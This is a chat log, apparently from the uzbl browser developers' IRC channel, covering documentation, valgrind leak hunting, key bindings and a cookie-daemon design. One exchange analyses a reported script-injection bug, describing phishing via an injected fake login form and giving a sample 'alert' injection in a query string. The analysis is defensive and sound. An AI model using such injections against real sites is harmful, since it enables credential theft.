16:04 < DuClare> Actually, it's only documented in sampleconfig
16:05  * DuClare blames rob
16:05 < Dieterbe_> and the manual clearly refers to it :)
16:05 < lazzareth_> "set status_top = 0"
16:05 < Dieterbe_> sample config == documentation
16:05 < DuClare> Sure
16:05 < lazzareth_> Found it :) after I knew what I was looking for.
16:06 < DuClare> Dieterbe_: We're already documenting commands in readme.  I'm pro for doing the same for vars.
16:06 < DuClare> That'd make it easier to find it all
16:07 < Dieterbe_> i'mpro for documenting things in one place.  and we need a sample config anyway. maybe we could simplify the sample config a lot though, and document all vars in the readme
16:07 < DuClare> Yep
16:08 < Dieterbe_> there actually several useless/redundant/commented out lines in the sampleconfig now which makes the file harder to read
16:08 < Dieterbe_> i guess you're right
16:09 < Dieterbe_> any of those "i cannot code anything but would like to contribute" guys listening?
16:10 < lazzareth_> I wouldn't mind learning how to write man pages...
16:17 < lazzareth_> Do you guys use any visual git log applications like gitk or gitg ?
16:17 < Dieterbe_> seldomly i start giggle
16:18 < Dieterbe_> and i use the github network graph quite a lot to keep track of what's going on / what i should check out /merge
16:20 < scj> actually, we should write a script that generates a manpage from uzbl.c
16:21 < Dieterbe_> i dunno if that's worth it. otoh maybe similar things already exist, especially since we use the glib option parsing
16:23 < lazzareth_> Maybe convert the README into markdown and have uzbl --help open a markdown rendered help file
16:24 < lazzareth_> The advantage of markdown is that it is humanly readable in its raw form also
16:25 < Dieterbe_> lazzareth_: i wonder if you're doing this on purpose or not, but... the readme is already in markdown
16:27 < lazzareth_> Wholeheartedly not doing it on purpose. I just.. I have no idea why I thought it wasn't. Maybe because its readable (I dont know).
16:28 < lazzareth_> I'm going to refrain from talking until I am sure I am not going to make an ass of myself when I speak from now on :)
16:29 < Dieterbe_> lazzareth_: if you look at uzbl.org, you'll see a lot of documents (such as the readme), those are just the html rendered versions of the documentation included with uzbl
16:30 < uranther> lol..
16:31 < DuClare> ..i
16:36 < uranther> yeah I was wondering about the manpages myself.. it would be so much more official although I don't know if it's worth it
16:37 < uranther> Dieterbe_, was the max zoom crash bug ever fixed? I was never able to reproduce it..
16:37 < Dieterbe_> i think a manpage would be good. but a very concise one that basically explains the arguments and refers to the readme for other matters to avoid data duplication. unless we can generate the manpage of course, then it can be complete
16:38 < Dieterbe_> uranther: noone could reproduce it so we just scratched away the todo item IIRC
16:39 < DuClare> A generated manpage would be good
16:39 < DuClare> Manpage, infopage or both
16:39 < Dieterbe_> yep
16:39 < DuClare> I totally hate manpages / infopages that only tell you the information you want is not here, find another file
16:40 < uranther> Dieterbe_, then it should be scratched from the "known issues" too
16:40 < Dieterbe_> uranther: patch welcome
16:41 < uranther> k
16:43 < uranther> eh i can't really find much on a markdown-to-manpage converter
16:43 < Dieterbe_> what about a plaintext to manpage? markdown ~ plaintext
16:47 < uranther> hm, txt2man exists
16:47 < uranther> but it looks like it uses nroff syntax
16:47 < uranther> oh nvm
16:47 < uranther> that's what a manpage would normally need..
16:48 < bct> http://www.linuxcertif.com/man/1/pandoc/ looks like it does markdown -> groff.
16:49 < mxey> why still ship a markdown-readme if there is a real manpage?
16:49 < uranther> mxey, the markdown readme is used on the website too
16:50 < mxey> Couldn't we use txt2tags or something and generate Nroff and HTML from that?
16:51 < scj> what about asciidoc?
16:51 < mxey> asciidoc is slooow
16:52 < mxey> I dumped it for txt2tags when it was unable to live me a three level deep list without workarounds.
16:52 < mxey> *give
16:53 < scj> makedoc? it's written by carl sassenrath :v
16:54 < mxey> and who is that?
16:55 < scj> designer of amigaos
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18:42 < madnificent> Dieterbe_: slashdot still doesn't load in your master
18:48 < uranther> it loads in my branch although it rapes the shit out of my lowly VMWare virtual video card :P
18:52 < Dieterbe_> lol
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18:52 < Dieterbe_> madnificent: which version webkit?
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18:52 < Dieterbe_> afaik this is a webkit problem that has been fixed
18:54 < uranther> yeah - I have 1.1.10 running
19:01 < bob_f> madnificent: Looks fine here.
19:01 < bob_f> Well, except for all the boring news stories.
19:02 < Dieterbe_>  /. works fine for me too
19:02 < bob_f> Which webkit, madnificent ?
19:17 < Dieterbe_> the naughty one
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19:31 < madnificent> 1.1.8, will update
19:31 < madnificent> thanks
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20:39 < uranther> anyone here taken a stab at memory leak detection on uzbl? valgrind? purify?
20:40 < DuClare> Used valgrind pretty much regularly
20:40 < uranther> how do you ignore all of the library dependency errors?
20:41 < uranther> leaks rather
20:41 < DuClare> I ignore them by not looking at them ..
20:42 < DuClare> Surely one can suppress them though
20:42 < uranther> i was trying to figure a way how, with no luck
20:42 < uranther> there are tons of the leaks though
20:43 < DuClare> http://valgrind.org/docs/manual/manual-core.html#manual-core.suppress
20:43 < DuClare> http://valgrind.org/docs/manual/mc-manual.html#mc-manual.suppfiles
20:43 < uranther> i get a lot of conditional jumps
20:45 < uranther> i saw that stuff but it looked like it didn't answer my needs
20:46 < uranther> but i don't think i saw the first link
20:46 < uranther> so am I supposed to write suppression files for the different libraries?
20:48 < DuClare> Yeah, but you probably want to use --gen-suppressions
20:48 < uranther> =yes ?
20:49 < DuClare> Yep
20:53 < uranther> i don't think that did anything :P
20:53 < uranther> it asked me once, i hit C and that was it
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20:58 < DuClare> Uhm, did you read the documentation at all?
20:59 < DuClare> It asks whether to print a suppression .. print the ones you want to suppress, put them in a suppression file and then run using the suppression file
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21:18 < uranther> oh ok
21:21 < uranther> ok this makes more sense. i don't know why that was so hard to get
21:23 < madnificent> wohoow, /. is back
21:24 < ptman> madnificent: has it been down?
21:28 < madnificent> ptman: I was using an older webkit, which had trouble with it
21:29 < ptman> ok
21:31 < madnificent> ptman: how would you bring /. down? it's a beast
21:32 < ptman> it's been down in the past
21:37 < madnificent> formfiller.sh uses urxvt?
21:44  * Dieterbe_ slaps hastake 
21:44 < Dieterbe_> welcome belgian!
21:44 < madnificent> wow, more belgians?
21:44 < Dieterbe_> well i'm from belgium
21:44  * madnificent too (hastake too?(
21:45 < madnificent> s/?\(/?)
21:45 < Dieterbe_> yea. i guess, since he's @belgacom.be
21:45 < madnificent> heh
21:46 < madnificent> we may start calling uzbl BB
21:46 < Dieterbe_> BB?
21:46 < DuClare> Belgian Browser?
21:46 < madnificent> which would stand for -besides the very strange google results- ^
21:46 < madnificent> I need more time to type people!
21:47 < Dieterbe_> BB is the most stupid name i ever heared. sorry :P besides, it's not a belgian browser
21:47 < madnificent> Dieterbe_: it stands for big boobs, it was a joke :(
21:47 < Dieterbe_> there are at least 27 people who have contributed so far, from various places :)
21:47 < madnificent> I find it to evolve rather quickly
21:48 < Dieterbe_> that's true
21:48 < DuClare> It indeed did
21:48 < madnificent> see, the unix idea does wonders
21:48 < Dieterbe_> DuClare: did? does?
21:48 < DuClare> Sure
21:48 < DuClare> But it has gotten far
21:48 < DuClare> And the early developement impressed me; it got powerful really quick
21:48 < Dieterbe_> i think we're still in the beginning of the journey
21:49 < DuClare> Well, suer
21:49 < DuClare> sure
21:49 < madnificent> Dieterbe_: only promises much for the future
21:49 < madnificent> one day google will pay the project, as to get their name in the example configuration file
21:49 < Dieterbe_> the good part is, you can know work with multiple people on uzbl and be reasonably sure you won't end up with huge merge conflicts. or conflicts at all
21:50 < Dieterbe_> in the beginning, when uzbl was like 400 lines everyone was constantly changing the real guts all over the place :P every day we had to resolve several conflicts :P
21:51 < DuClare> That's impressive also, because the source is small yet many people work on it, and often without too much communication :o
21:51 < madnificent> you must have a reasonable amount of lines that are worked on vs the amount of programs, in order to get something done
21:51 < DuClare> I wrote some duplicates with rob
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21:54 < Dieterbe_> duplicate whats?
21:54 < Dieterbe_> duplicate idea implementations?
21:55 < DuClare> Both wrote code to accomplish the same thing :]
21:56 < Dieterbe_> hehe. well, rob seems to be travelling frequently now so you can hack away :P
21:56 < DuClare> Yeah, though I've been somewhat busy (and travelling) mysefl as well :>
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22:03 < Dieterbe_> cool
22:03 < Dieterbe_> you've finished your exams now i assume? plenty of vacation time? >;P
22:04 < DuClare> Yep, I did finish my exams
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01:13 < bob_f> joyfulgirl: Aha !
01:13 < joyfulgirl> bob_f: a....HA!
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01:14 < bob_f> I'll get you next time ?
01:14 < bob_f> I will research my interjections better.
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01:15 < shinynew> hey so firefox has been missing me off seince switching to arch, How close is uzbl to being usable daily if someone does stuff like install arch, use awesome, use vim etc
01:16 < bob_f> shinynew: It (and w3m) is the only browser I have on my netbook.
01:16 < joyfulgirl> shinynew: No major problems here so far. Just be sure to read the documentation and do a little configuration.
01:16 < bob_f> But you'll have to just try it and see if it suits your needs.
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01:17 < shinynew> joyfulgirl: cool, how hard coded is the one window thing? Do you think it would be dificult to work towards a either tabbed or 'floating windows manager' type thing in uzbl? I am installing it in yoaurt right now
01:17 < bob_f> shinynew: That's pretty much the whole point of it. :)
01:17 < joyfulgirl> shinynew: I believe there are some hacks you can install to get tabbing, but I was surprised by how well the one-window paradigm works.
01:18 < bob_f> You use other stuff externally to switch between windows.
01:18 < shinynew> I am rather addicted to reddit and that kind of encurages many windows
01:18 < bob_f> There are examples for how you can use dmenu for it.
01:18 < bob_f> Just give it a shot.
01:18 < shinynew> cool
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01:28 < g111> did you know about http://www.uzbl.org/bugs/index.php?do=details&task_id=25&project=1&pagenum=2?
01:30 < g111> did you know about http://www.uzbl.org/bugs/index.php?do=details&task_id=25&project=1&pagenum=2?
01:33 < bct> yeah, but does that actually make it possible to do anything a site couldn't do anyhow?
01:35 < g111> i don't know wanted to ask here which are the potentials dangers of that? i'm don't have a criminal mind :(
01:36 < bob_f> It's used by phishing people.
01:36 < bct> none that i or anybody who commented on the bug can think of.
01:36 < bob_f> e.g. go to gmail and se JS to insert a fake form that sends your password to them.
01:36 < bct> if you can add a <script> tag in an href="" on a page, you can probably add one anywhere else
01:36 < bob_f> s/se/use/
01:37 < bob_f> We have to make sure our webapps don't allow this kind of stuff or we fail pen tests.
01:37 < bct> yeah, but XSS is something that web browsers have to protect against.
01:37 < bob_f> Isn't that the point ?
01:37 < bct> err, webapps i mean
01:37 < bct> web browsers can't
01:37 < bob_f> Ah.
01:38 < bob_f> Sure, but the webapp can't protect against it if it's the browser itself that's causing it.
01:38 < bct> what's being caused?
01:38 < bct> in the demo: http://habarnam.ro/uzbl_demo/
01:38 < bob_f> If you can get uzbl to execute arbitrary JS then you can manipulate the DOM and put in a fake user/pass form.
01:39 < bct> how is that any different from a <script> tag directly under <div id='main'> ?
01:39 < bob_f> Because you can't insert a script tag into any website you choose.
01:40 < bct> you can't insert a url like that into any website you choose either.
01:40 < bob_f> e.g. if you have a page that does "/foo?message=alert('hello')" or whatever, and it doesn't protect against that, then that is a problem.
01:40 < bob_f> No, but I'm assuming you can do something clever to go to a URL *and* do the example "exploit".
01:41 < bob_f> If that isn't the case, it's a non-issue, but I'd be interested in seeing the 100% solid proof that it isn't possible.
01:42 < bct> i don't understand what you're saying.
01:42 < bct> clearly if anybody on the internet can add a <script> tag with arbitrary content to a site, that's a bad thing.
01:42 < bct> but it's the site's responsibility to ensure that they can't
01:43 < bct> because a browser can't know whether the <script> came from the site itself or from a bad guy
01:45 < bob_f> bct: I'm saying if you could do craft a URL that does "http://www.gmail.com/" and also embeds JS in the URL that *uzbl* executes, that the webserver doesn't even know anything about, then that's a problem in uzbl's domain.
01:45 < bct> aaaaah, ok. i get you now.
01:45 < bob_f> Phew.
01:45 < bob_f> :)
01:45 < bct> very good point.
01:47 < g111> so we should check link contents
01:48 < bob_f> Probably simplest way to do it is make a whitelist for valid URL characters and filter against that.
01:48 < bct> i think it's a bug even if it's harmless (<script> is not a valid url), but i'm glad i know what you're talking about :)
01:49 < bob_f> Heh, yeah, me too. ;)
01:52 < g111> i think you could filter html trought privoxy for example. would that be too much?
01:53 < bct> i'm pretty sure there's a better fix than that.
01:54 < bob_f> Whatever you do, don't try a blacklist filter.
01:54 < bob_f> I've never found them to be anything but troublesome.
01:55 < g111> bob_f: thanks for the advice
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01:57 < bob_f> No worries.
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02:37 < bct> ok, i think it's harmless. the <script> is only being executed because the error page doesn't escape the URL that was requested.
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02:38 < singpolyma> Is there a way to bind the enter key to a command in uzbl?
02:38 < singpolyma> And other special keys like pgup/pgdn
02:38 < bct> i don't think there's a way to bind pgup/pgdn
02:38 < bct> enter could maybe be bound with "bind _"?
02:39 < bct> that might mess up other commands that use _ binds though.
02:40 < singpolyma> no luck with bind _
02:40 < singpolyma> I'd like to bind "Enter" to scrolldown and "space" to pagedown, less-like
02:40 < bct> binding space isn't supported
02:41 < singpolyma> hmm... ok :)
02:41 < bct> it's an easy patch, but nobody has come up with a way to do it that everyone agrees on :)
02:41 < singpolyma> I see
02:41 < singpolyma> X keysym names, perhaps?
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03:07 < singpolyma> Interesting... $4 is supposed to be the fifo, but it's '' for me, even though I have a fifo dir set and the fifo is definitely there
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03:39 < shatter> what would cause uzbl to suck up cpu even when idling?
03:40 < joyfulgirl> shatter: js or media on the page you're visiting?
03:40 < shatter> nope. uzbl.org
03:41 < shatter> git pull from yesterday
03:41 < shatter> uhh
03:42 < shatter> webkit-gtk-1.1.10
03:47 < singpolyma> Hmm... one problem with one-instance-one-page is you can't ctrl-click or anything to open links in a new window.  hmm
03:54 < urnthr> we're workin on it
03:54 < urnthr> i think
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04:24 < jrick> I'm having a problem where every command in my config that uses $4 is broken
04:26 < jrick> this is with the latest master branch
04:27 < jrick> if I use zsh, I get the error: cannot create : No such file or directory
04:28 < jrick> err, no. that's sh
04:28 < jrick> with zsh, I get zsh:1: no such file or directory:
04:29 < jrick> and with bash: : $4: ambiguous redirect
04:30 < g111> hi, i tried to use gdb to put a breakpoint in run_js at the source, and when you trie the malicious code execution "bug", doesn't break. So, uzbl is not making that call to run that js?
04:30 < jrick> this is testing with 'p' to go to the current url in my x paste buffer
04:30 < scj> jrick: you probably have a residual fifo file from a previous segfault
04:30 < scj> clean out your fifo_dir
04:31 < jrick> where is that?
04:31 < g111> s/trie/try/
04:31 < scj> jrick: dunno, check your config
04:32 < jrick> ok, it's /tmp
04:32 < g111> jrick: try /tmp/uzbl_fifo
04:32 < g111> too late :)
04:34 < jrick> ah, that worked. thanks!
04:34 < dxdx> http://dotnetperls.com/chrome-memory
04:34 < dxdx> therefore, uzbl sucks
04:35 < urnthr> yeah i know.. i just made a 5000 line valgrind suppression file just from opening uzbl
04:36 < dxdx> i could never get just 106mb of ram usage in firefox after closing all tabs, anyway
04:36 < jrick> yeah, because vista > all, right? ;)
04:39 < dxdx> wait, what
04:39 < jrick> those tests were done on vista
04:40 < dxdx> oh, good point, processes are not exactly lightweight on vista [..did you mean this?]
04:40 < dxdx> s/vista/any windows/
04:40 < jrick> well, I (jokingly) meant the opposite ;)
04:47 < dxdx> yup, understood that and took you seriously, and will continue to do so :D
04:48 < dxdx> i don't think that big difference is just because of the weight of the processes, but we can't say much in theory
04:50 < dxdx> because the point is not to compare unix/windows's memory efficency, but uzbl/firefox's [not caring about windows]
04:51 < urnthr> dxdx, webkit+gtk+libsoup overloads valgrind with leaks and conditionals :P
04:51 < urnthr> i hit this 100 error limit pretty easily.. must figure out how to bypass that
04:51 < dxdx> urnthr: holy shit
04:52 < urnthr> 6500 line suppression file and it's still goin strong baby
04:52 < dxdx> urnthr: but anyway when "the tab is closed", the process quits, nothing leaks
04:52 < urnthr> lol it leaks before it even starts
04:52 < dxdx> that doesn't make much sense
04:52 < urnthr> start, meaning showing a webpage
04:54 < dxdx> and what is it leaking, for example?
04:55 < urnthr> actually most of it are conditional jumps - i haven't figured out what those mean yet :P
04:55 < urnthr> just like, in every function, i dunno
04:55 < urnthr> basically, i want to get this suppression file down to where we can just run valgrind and just see uzbl leaks
04:55 < urnthr> and there are some
04:56 < urnthr> since we're still early in the project, maybe we can fix all the leaks! then.... as we go along, run valgrind every commit
04:56 < urnthr> that's the idea anyways
04:57 < dxdx> i don't think we are interested in webkit leaks
04:58 < urnthr> of course - that's what i'm trying to suppress
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04:58 < dxdx> and most stuff that requires dynamic allocation can (and should) be detected just by reading the code
04:58 < dxdx> uzbl isn't that complex..
04:59 < urnthr> this is fool-proof
04:59 < urnthr> i am a fool
04:59 < dxdx> lol
04:59 < urnthr> :)
04:59 < dxdx> seriously, i mean having g_something_new at the start of the function and g_free at the end
05:00 < urnthr> others are more tricky though
05:01 < urnthr> and sometimes we g_free where we're not supposed to
05:01 < urnthr> i fixed a bug the other day like that
05:04 < dxdx> that is simple to solve, just punch the responsible for introducing that bug. replace "punch" with your favourite punishment method, just make sure the person can keep coding [unless the code sucks a lot]
05:04 < urnthr> lol..
05:04 < urnthr> this bug was introduced by dieterbe ;)
05:04 < dxdx> oh shi-
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05:06 < urnthr> easy mistake to make
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05:08 < uranther> i guess valgrind doesn't document how to get rid of the 100 error limit - merely that you can?
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06:56 < singpolyma> Does uzbl stand for anything?
07:05 < Morasique> singpolyma: it's the lolcat version of "usable"
07:06 < singpolyma> Morasique: ah, ok, cool :)
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09:33 < Dieterbe_> 05:01:06 < urnthr> and sometimes we g_free where we're not supposed to
09:33 < Dieterbe_> 05:01:11 < urnthr> i fixed a bug the other day like that
09:33 < Dieterbe_> 05:04:06 < dxdx> that is simple to solve, just punch the responsible for introducing that bug. replace "punch" with your favourite punishment method, just make sure the person can keep coding [unless the code  sucks a lot]
09:33 < Dieterbe_> 05:04:20 < urnthr> lol..
09:33 < Dieterbe_> 05:04:26 < urnthr> this bug was introduced by dieterbe ;)
09:33 < Dieterbe_> 05:04:49 < dxdx> oh shi-
09:33 < Dieterbe_> lol :P
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09:46 < Dieterbe_> bartman: since it seems i cannot comment on your blog, i'll say it here: glad you like it!
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13:55 < bartman> Dieterbe_: love it!
13:55 < bartman> Dieterbe_: for exactly the same reaons I like wmii
13:56 < bartman> Dieterbe_: you take the user interface decisions out of the GUI so I can script them
13:58 < bartman> Dieterbe_: I am currious if you'd entertain patches that have uzbl instances talk over a unix socket to a single uzblmeta daemon that is spawned by the first uzbl instance.  uzblmeta would be queried for bookmarks, cookies, history, and whatever else we come up with.
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14:01 < bartman> Dieterbe_: btw, I don't do python and cookies.py didn't do everything I wanted... but my new cookies.sh does pretty much everything I need.
14:01 < bob_f> bartman: I was thinking about writing a cookie daemon.
14:01 < bartman> it does make sense
14:02 < bob_f> It says on the uzbl site that work is being done to improve the situation, but I'm not sure what and when.
14:02 < bob_f> So I might do that tonight if I get time.
14:03 < bartman> I thought that it could look like: set cookie_handler = daemon <executable location> <socket location>
14:03 < bartman> uzbl would look for socket first, then try to fork/exec the executable
14:03 < bartman> subsequent instances would get to use the socket
14:03 < bartman> if the socket ever dies, you just restart the daemon
14:05 < bartman> bob_f: but, if you're writing a cookie daemon, you should conisder making it an everything daemon
14:05 < bob_f> bartman: I'm not sure.
14:05 < bartman> then you wouldn't have to look up bookmarks or history anymore
14:05 < bob_f> It kind of breaks the philosophy.
14:05 < bob_f> I can write a cookie daemon and a bookmark daemon etc. etc..
14:05 < bob_f> But I'd rather keep them separate.
14:06 < bartman> I suppose sharing code, works too
14:06 < bob_f> Yeah, I'll see what I can do tonight or at the weekend.
14:06 < bob_f> Lunch time now. \o/
14:06 < bartman> I just woke up
14:18 < Dieterbe_> bartman: fyi i use wmii too. some non-wmii users (mostly dwm) notice a connection between the way wmii and uzbl are designed.  I just think it's the right way to go :)
14:18 < bartman> (Dieterbe_)++
14:19 < bartman> so, if bob is going to start working on cookie manager, I am going to write something completely different
14:19 < bartman> I've been meaning to write a better dmenu that can be scripted
14:20 < bartman> so if I type in : in uzbl I can get a dmenu-like interface but with tab completion and so on
14:20 < bartman> so I can mimic vimperator's behaviour a bit
14:20 < Dieterbe_> exactly
14:20 < Dieterbe_> in fact i have a ist of several usability improvements for dmenu-vertical i would someday like to see implemented
14:20 < bartman> I've wanted that for wmii for a while, but even more so for uzbl
14:21 < Dieterbe_> basically you can use a "better dmenu" for anything
14:21 < Dieterbe_> right now you can use dmenu already for a lot of things, but it lacks some usability things
14:21 < bartman> I find it a bit lacking for bookmarks
14:21 < bartman> becuase they don't fit
14:21 < bartman> :)
14:22 < bartman> if you remember the part of the url you want to search for, it's all great
14:22 < bartman> ever used ion3?
14:22 < Dieterbe_> no
14:22 < bartman> ion had a menu that would have 2 lines
14:22 < bartman> 1 line for entry, and second line for completion hinting
14:22 < bartman> I am a zsh user, so I'd like to see that second part be much more than just 1 line
14:23 < bartman> does zsh ship an .so with their completion engine?
14:23 < bartman> hmm
14:23 < bartman> I wonder if I can use it
14:25 < bartman> huh?
14:25 < bartman> dpkg -L zsh-dev
14:25 < bartman>  /usr/include/zsh/builtin.epro
14:25 < bartman> what's an .epro ?
14:26 < bartman> it looks like a c header
14:27 < bartman> anyway... going to do some work now
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14:36 < Dieterbe_> bartman> Dieterbe_: I am currious if you'd entertain patches that have uzbl instances talk over a unix socket to a single uzblmeta daemon  .... <-- i don't really understand what all that would be useful for
14:37 < Dieterbe_> 14:03:01 < bartman> I thought that it could look like: set cookie_handler = daemon <executable location> <socket location>
14:37 < Dieterbe_> 14:03:18 < bartman> uzbl would look for socket first, then try to fork/exec the executable
14:37 < Dieterbe_> 14:03:31 < bartman> subsequent instances would get to use the socket
14:37 < Dieterbe_> 14:03:49 < bartman> if the socket ever dies, you just restart the daemon
14:38 < Dieterbe_> my idea was to just specify a script like we do now, but keep the process open, and send subsequent requests to the same opened process. this does imply 1 running cookie script per uzbl instance
14:38 < Dieterbe_> it was holizz who did the first attempts towards this
14:38 < Dieterbe_> (fwiw)
14:39 < bartman> but then I cannot share them
14:40 < bartman> that was the motivation for having one
14:40 < bartman> but I am not sure about my uzbl usage pattern yet
14:41 < bartman> although the exec + fifo is probably ok
14:41 < bartman> the daemon could internally determine if there is another instance of itself running
14:41 < bartman> if when it starts it becomes the 'master' if there is no socket, but if it finds a working socket it just forwards
14:47 < lazzareth_> bartman, I much prefer that idea.
14:47 < bartman> agreed
14:48  * bartman recalls something aboug splice()
14:48 < bartman> if it finds a socket, all it has to do it just splice() it's stdin/stdout to the socket out/in
14:49 < bartman> even the context switch overhead woudl drop
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15:07 < Dieterbe_> i'm not sure how usefull sharing the cookie program would be as they basically just output some stuff based on some text file that they only read from. (maybe in the future they could write to it, so then your shared approach would be better)
15:07 < Dieterbe_> either way, your shared approach seems better then my "one process per uzbl instance" model
15:08 < Dieterbe_> one process per uzbl instance is not really needed anyway
15:09 < Dieterbe_>  bartman> if when it starts it becomes the 'master' if there is no socket, but if it finds a working socket it just forwards <-- or kill itself. all we need is the socket file, so the already running process can serve us just fine
15:14 < bartman> nod
15:15 < bartman> I think by all we need is a socket file, you mean the name ... so if the daemon detects that it's not the master it will just tell uzbl how to get to the master's socket
15:16 < Dieterbe_> bartman: you mean the daemon should echo something like " set cookie_socket = <...>" into the fifo belonging to the uzbl instance it's spawned from?
15:17 < Dieterbe_> i first thought you would need to specify both the socket path and process to spawn in case the socket doesn't exist (or which would check for existence itself), which would be slightly ugly
15:18 < Dieterbe_> assuming you indeed meant what i just said, i think that would be a cleaner approach, and also more flexible
15:22 < bartman> so here were my thoughs...
15:22 < bartman> - config has set cookie_handler = daemon my_cookie_daemon --something --something --socket $HOME.cookies
15:23 < bartman> - uzbl will always call to this daemon and expect that it will either return it cookies or give it a name of a socket to open instead
15:23 < bartman> - if the fifo returns it a "go to $HOME.cookies instead", it will reconnect there
15:24 < bartman> (fifo here being the one to the daemon it just opened)
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15:25 < bartman> this means that each uzbl instance would start up the cookie daemon once, but that daemon may ask that uzbl try a socket instead
15:27 < bartman> The daemon would have to stay up until all unix socket and fifo users went away
15:28 < Dieterbe_> hmm this looks slightly complicated
15:29 < bartman> I think the check for the "is there a working socket" should be left upto the daemon
15:29 < Dieterbe_> yes
15:29 < bartman> uzbl should not have cookie_socket in it's config
15:30 < Dieterbe_> but i don't like the fancy question-response thing going on
15:30 < bartman> well, unless it's a paramter passed to the cookie daemon
15:30 < Dieterbe_> neither do i like the "script can either return a cookie, or tell uzbl to do something else"
15:30 < bartman> nod
15:31 < bartman> how about on connect to the cookie daemon fifo, it either sais: "OK" or "socket file-name"
15:33 < bartman> I don't think you can terminate the daemon that is not 'master' for splice to work, so unless you want 1 daemon for each uzbl intance you need to make the connection from uzbl ... or live with the race condition if you check for the working socket in uzbl
15:34 < Dieterbe_> we don't even need splice
15:35 < Dieterbe_> i think
15:35 < bartman> no
15:35 < bartman> we do not
15:35 < lazzareth_> .. What is wrong with the original cookie script?
15:35 < hejki> mm.. uzbl segfaults when i go to github.com :o
15:35 < bartman> lazzareth_: try to connect to identi.ca
15:35 < bartman> lazzareth_: it calls it hundreds of times
15:36 < bartman> lazzareth_: each gravitar is a separate http request and needs a cookie fetch
15:36 < uranther> D:
15:37 < lazzareth_> Oh wow.
15:37 < bartman> for me, after the page shows up it takes another 3 seconds for all the images to show up
15:40 < lazzareth_> Ok I agree with the quest to daemonise the cookie handler I don't think the same should be done for the bookmarks/history scripts. How often do you visit a website and need to bookmark it 100 times a second.
15:40 < bartman> but I want to lookup bookmarks
15:40 < bartman> and it's a very similar PUT/GET operation
15:41 < bartman> you can even think of history entries as being a special kind of bookmark that expires
15:41 < bartman> ... like session cookies
15:42 < scj> should generalize it so we can use the same concept for a policy daemon
15:42 < bartman> that's what I was thinking
15:42 < lazzareth_> bartman, What about "lookingup bookmarks" requires it to be daemonised?
15:43 < bartman> my bookmakrs could be on delicious (or equivalent) and I may want them to be cached
15:43 < bartman> but I *do* see your point that it's not 100 per site, so it's less important that it be fast
15:44 < uranther> wouldn't it be easier to generalize the daemon for anything anyways
15:44 < uranther> despite the need for it
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16:42 < uranther> well i suppressed 19710 errors by merely suppressing libgthread
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16:52  * dxdx has been enlightened
16:53 < dxdx> instead of making the Uzbl object global in the window object and having javascripts run directly there, and suggesting script writers to be careful and wrap their code in a function, wrap it myself!
16:55 < dxdx> i mean, instead of evaluating, do JSObjectMakeFunction, then JSObjectCallAsFunction
16:55 < uranther> :O
16:55  * uranther is pluggin leaks baby!
16:56 < dxdx> it seems that you are having fun (?)
16:56 < uranther> sure :P determinite fixes are always nice
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16:56 < uranther> someone g_string_append()'d a g_strdup("") instead of just a ""
16:57 < hejki> does Dieterbes master git crash for anyone else when loading github.com?
16:57 < hejki> mine just segfaults
16:58 < dxdx> hejki: do you know how to get a backtrace?
16:58 < hejki> dxdx: not, but i might be able to find out from google
16:59 < dxdx> $ gdb uzbl, (gdb) run, crash it, (gdb) bt, pastebin
16:59 < uranther> yeah these 3 fixes saved uzbl 17 bytes
16:59 < uranther> :P
16:59 < hejki> dxdx: i need to enabld --ggdb in compile flags?
16:59 < hejki> enable*
17:00 < dxdx> hejki: the default makefile enables it, but some package managers strip the binaries (arch's makepkg does)
17:01 < dxdx> if you are using arch, i think you have to add OPTIONS=(!strip) the the PKGBUILD
17:01 < hejki> hmm.. running uzbl with gdb makes it not to crash. too weird since i was able to repeat the crash 3 times
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17:01 < dxdx> lolwut
17:02 < uranther> lol..
17:02 < dxdx> are you sure it's the same binary?
17:02 < hejki> hmm.. it's stuck in recv actually and unresponsive
17:02 < hejki> last time it just segfaulted :)
17:02 < hejki> ahh.. gdb left it running :)
17:02 < dxdx> oh, that sounds better
17:03 < hejki> but as said no debugging symbols found
17:09 < hejki> http://heikki.mehtanen.fi/uzbl.txt
17:12 < DuClare> bt
17:13 < hejki> ahh
17:13 < hejki> sry
17:13 < hejki> http://heikki.mehtanen.fi/uzbl.bt.txt
17:15 < DuClare> Well, that's not going to help much ..
17:16 < DuClare> dxdx: Actually, master branch shouldn't build with debug syms by default
17:16 < DuClare> Though I don't know whether diet remembered to remove the flags..
17:17 < dxdx> oh, i wasn't aware of that
17:17 < dxdx> and there's a -ggdb, so yeah, he forgot
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17:34 < uranther> can anyone explain the purpose of actdup in inject_handler_args ?
17:37 < uranther> it seems unnecessary.. like you can just pass actname to g_array_append_val.. but i feel like i'm missing something
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18:59 < Dieterbe_> DuClare> Though I don't know whether diet remembered to remove the flags.. <-- i might have forgotten that
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19:10 < DuClare> Dieterbe_: Well, I don't think it matters all that much at this stage.. still developing, and good bugreports are good :o
19:10 < DuClare> But I wonder why hejki's binaries are stripped..
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19:27 < uranther> hey DuClare did you write the run_handler and inject_handler_args functions?
19:28 < DuClare> I think I did
19:28 < uranther> maybe you could provide some insight into those functions cuz i don't know what's going on :P
19:29 < uranther> why do you cast g_array_free in inject_handler_args, for instance?
19:29 < uranther> and what's going on with the memory you allocated for the "duplicate" function parameters?
19:30 < DuClare> I call g_array_free because I only want to return the strings, not the whole array structure
19:30 < uranther> ok so it returns an array of gchar, and not a GArray
19:30 < DuClare> Duplicates, because that makes the string a new copy, helping avoid duplicate frees
19:30 < DuClare> Yea
19:31 < uranther> ok, so when i take out the duplicates and pass the func params, i get a double free. why is there that risk?
19:31 < DuClare> Maybe you could move g_strfreev(spliced_quotless); after the printf and then stop using the duplicate
19:32 < DuClare> But then, you need to free the other string in the vector
19:32 < DuClare> Ohm, nm, that should do it
19:32 < uranther> oh - so there's just the command action and argument in that array right?
19:32 < uranther> [0] and [1]
19:33 < DuClare> Yep
19:33 < uranther> wow this is crazy lol
19:33 < DuClare> It indeed is
19:33 < DuClare> Hence the comment..
19:33 < DuClare> Perhaps it could be refactored by now, gotta look into it at some point
19:33 < uranther> yeah i saw that.. so what's stopping you from using a string?
19:33 < DuClare> A string?
19:34 < DuClare> There are bunches of strings, so I'm not quite sure what you mean :>
19:34 < uranther> sry. i mean like, a single string for action and argument
19:36 < DuClare> Because you need the individual parts anyway
19:36 < DuClare> Or do you?  Maybe not
19:37 < uranther> well, i don't really claim to know how this function works
19:37 < uranther> but why not do a single string and run some string handling functions on that bia?
19:37 < uranther> instead of allocating all this memory with arrays and combining and whatnot
19:38 < DuClare> Well, the whole thing gets spliced at one point, because of the quoting
19:38 < uranther> why are they quoted
19:39 < DuClare> Because there has to be a way to tell the args apart <,<
